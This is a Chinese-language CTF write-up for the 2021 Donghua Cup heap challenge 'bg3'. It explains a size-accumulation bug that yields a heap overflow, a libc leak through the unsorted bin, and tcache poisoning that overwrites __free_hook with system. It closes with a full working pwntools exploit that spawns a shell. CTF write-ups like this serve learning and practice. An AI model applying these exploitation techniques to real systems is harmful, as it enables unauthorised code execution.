介绍
[2021 东华杯]bg3
本题是C++写的一道经典菜单堆题,拥有增删改查全部功能。
Bug DataBase - V3.0 - I think i am UnBeatAble
1. Upload A Bug
2. Change A Uploaded Bug
3. Get Uploaded Bug Deatils
4. Remove A Bug From DataBase
Select:
本题本地和远程需要两套Libc和两套偏移。远程的Libc版本是libc-2.31-9.2_amd64
,本地的Libc版本是libc-2.31-9.9_amd64
。
漏洞
dword_43E0[v8] += v9[0];
v4 = v8;
qword_42E0[v4] = operator new[](v9[0]);
}
C++中一般推荐使用operator new
申请堆块,而operator new
的参数是v9,那么意思就是dword_43E0[v8] += v9[0]
就是赋值chunk大小的地方。
+=引发了一个Bug,就是当我们输入相同Chunk的Index时,我们可以修改其Chunk Size。
也就是,如果Chunk 1原先的大小是0x10,我再使用相同的参数,Chunk 1的Size就会变成0x20。
但是实际上它的Size并未改变,改变的是Edit函数中我们可以访问的范围。
因此实际上Add函数存在堆溢出漏洞,我们只需要修改程序认为的函数大小大于函数大小就能令我们修改下一个堆块的内容。
利用过程
一.泄露Libc
本题New函数并未限制创建的堆块大小,因此我们直接创建一块大小为0x410的堆,这个堆就会进入Unsorted Bin中。当我们释放这个堆块时,堆块的FD和BK指针会被main_arena + xxx
的一个地址覆盖,由于程序使用opreator new
函数申请堆,operator new
函数并不会清空内存块的内容。而因为程序不存在UAF漏洞,我们在释放了堆块后重新申请堆块并显示内容就能得到我们的Libc地址。
add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = addr - 0x1ecbe0
#libcbase = addr - 0x1ebbe0
其中
add(1, 0x10)
是为了防止内存被回收到Top Chunk。
存在2个libcbase是因为一个是本地偏移一个是远程偏移。
二.Tcache Bin Attack
我们利用Add函数的漏洞,进行堆溢出攻击。
首先我们反复申请一个Chunk。
add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)
这样我们就申请了一个程序认为大小为0x48
的堆,也就是Chunk 2在程序中的大小为0x48,实际上的大小还是0x18。
然后我们申请Chunk 3和Chunk 4,先释放掉Chunk 4,此时Chunk 3的FD指针指向了Chunk 4,因为Chunk 4是首先释放的一块空闲内存。
add(3, 0x18)
add(4, 0x18)
free(4)
free(3)
然后我们通过使用Chunk 2的堆溢出漏洞,改写Chunk 3的FD指针,使其指向__free_hook
函数,劫持__free_hook
函数为为system
函数,最后在Chunk 0、Chunk 1或者任意Chunk中写入/bin/sh\x00
即可GetShell。
edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()
这里复用了防止粘连的Chunk 1,为了好看,物尽其用(实际上都行)。
三.完整EXP
from pwn import *
io = process('./bg3')
#io = remote('node2.anna.nssctf.cn', 28673)
elf = ELF('./bg3')
context(arch='amd64', os='linux', log_level='debug')
# Local Libc
libc = ELF('/home/kaguya/Desktop/how2heap-master/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
# Remote Libc
# libc = ELF('/home/kaguya/Desktop/libc-2.31.so')
def debug():
gdb.attach(io)
pause()
def add(index, num):
io.sendlineafter(b'Select:', b'1')
io.sendlineafter(b'Index:', (str(index)))
io.sendlineafter(b'PayloadLength:', (str(num)))
def edit(index, content):
io.sendlineafter(b'Select:', b'2')
io.sendlineafter(b'Index:', (str(index)))
io.sendlineafter(b'BugInfo:', content)
def show(index):
io.sendlineafter(b'Select:', b'3')
io.sendlineafter(b'Index:', (str(index)))
def free(index):
io.sendlineafter(b'Select:', b'4')
io.sendlineafter(b'Index:', (str(index)))
add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# Local Offset
libcbase = addr - 0x1ecbe0
# Remote Offset
# libcbase = addr - 0x1ebbe0
print(hex(addr))
print(hex(libcbase))
add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)
add(3, 0x18)
add(4, 0x18)
free(4)
free(3)
free_hook = libc.sym['__free_hook'] + libcbase
system = libc.sym['system'] + libcbase
edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()